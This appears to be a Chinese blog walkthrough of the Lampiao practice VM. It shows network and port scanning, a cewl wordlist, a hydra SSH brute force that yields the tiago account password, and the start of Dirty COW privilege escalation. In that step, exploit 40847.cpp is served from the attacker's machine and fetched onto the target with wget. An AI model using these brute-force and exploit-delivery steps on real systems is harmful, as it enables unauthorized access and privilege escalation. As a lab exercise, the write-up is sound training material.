Linux靶机练习

文章目录

第1次 Lampiao

1.信息收集

1.1 netdiscover扫描

安装好靶机之后,有个账户密码登录,但我们并不知道账户和密码,所以我们用kali进行扫描其ip地址

image-20220228095834169

用命令进行扫描

netdiscover

得到IP地址:

192.168.81.139

image-20220228100017088

1.2 namp扫描

命令如下:

第1次扫描

发现了2个端口,22和80

nmap -T4 -A -v 192.168.81.139

image-20220228101431628

image-20220228101745393

连接密码:

ssh-hostkey:
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

image-20220228101929405

第2次扫描

发现了3个端口,22、80和1898

nmap -p- -A -sV 192.168.81.139

image-20220228102443976

1.3 御剑扫描

扫描1898端口出来了信息

http://192.168.81.139:1898

image-20220228103159698

扫描的信息如下

http://192.168.81.139:1898/robots.txt
http://192.168.81.139:1898/includes/
http://192.168.81.139:1898/misc/
http://192.168.81.139:1898/index.php
http://192.168.81.139:1898/install.php

打开扫描到的文件

http://192.168.81.139:1898/robots.txt

可以看到下面文件中包含很多信息,并且含有路径信息,可以看到有一个更新日志文件

Disallow: /CHANGELOG.txt

打开这个文件

http://192.168.81.139:1898/CHANGELOG.txt

image-20220228104124413

robots.txt文件内容

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

打开登录网站

直接加端口号就进入了这个网站

http://192.168.81.139:1898/

image-20220228104400933

sql注入

未能成功

1'

image-20220228104838867

链接跳转

发现两处可以跳转

image-20220228105118926

node/1

跳转后的网址如下:

http://192.168.81.139:1898/?q=node/1

image-20220228105302109

node/3
http://192.168.81.139:1898/?q=node/3

发现有一个音频文件和一句话:Node 2 is not working

image-20220228105332634

打开音频文件

并未有任何有用的信息

http://192.168.81.139:1898/LuizGonzaga-LampiaoFalou.mp3
node/2

把node/3,改为node/2

得到一个音频文件和一个图片

http://192.168.81.139:1898/?q=node/2
audio.m4a
qrc.png

image-20220228110006085

打开音频文件

http://192.168.81.139:1898/audio.m4a

打开图片

http://192.168.81.139:1898/qrc.png

发效了一个二维码

扫描之后,发现信息如下:

Try harder!muahuahua

image-20220228110230126

2. 漏洞探测

2.1 利用cewl获取网站信息

利用cewl获取网站关键信息从而生成一个密码字典:

cewl http://192.168.81.139:1898 -w lampiao.txt

image-20220228111522755

hydra对用户密码进行爆破

利用hydra对用户tiago密码进行爆破:

hydra -l tiago -P lampiao.txt 192.168.81.139 ssh

得到账户密码:

login: tiago   
password: Virgulino

image-20220228112147921

2.2 ssh进行登录

利用ssh进行登录:

ssh [email protected]

根据提示输入

yes
Virgulino (这个就是密码)

image-20220228131442763

查看靶机信息:

uname -a

image-20220228131612586

3. 提权

3.1 利用脏牛提权

用Kali 自带的漏洞搜索有无能进行脏牛提权的shell:

searchsploit dirty

image-20220228132438851

开启临时服务器

  • 将40847.cpp文件复制到当前目录下
  • 并且利用 python2 -m SimpleHTTPServer 1234
  • 开启临时的建议服务器

注意事项

  • 因此使用Python2时要特别注明,
  • 如果没安装Python3则不用特殊注明,
  • Python3无法利用该方法开启简易服务器,
    • 另外,开启服务器后默认的访问目录
      • 为当前开启服务器的目录,
      • 即我在 ~/桌面 这个目录下,
      • 则在浏览器中访问的话则默认能看 ~/桌面 目录下的文件。

3.2 对40847文件的操作

查找40847.cpp文件

find / -name 40847.cpp

拷贝40847.cpp文件

把文件复制到要定义的服务目录下

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp  /home/xxb1/

image-20220228134343291

使用下面命令时,要在

/home/xxb1/        目录下使用
python2 -m SimpleHTTPServer 1234 

image-20220228134318225

3.3 tiago用户下载40847.cpp文件

在刚才ssh登录的tiago用户的/tmp目录下下载40847.cpp文件:

wget http://192.168.81.131:1234/40847.cpp
#ip地址改为自己的kali的IP

  • 3
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值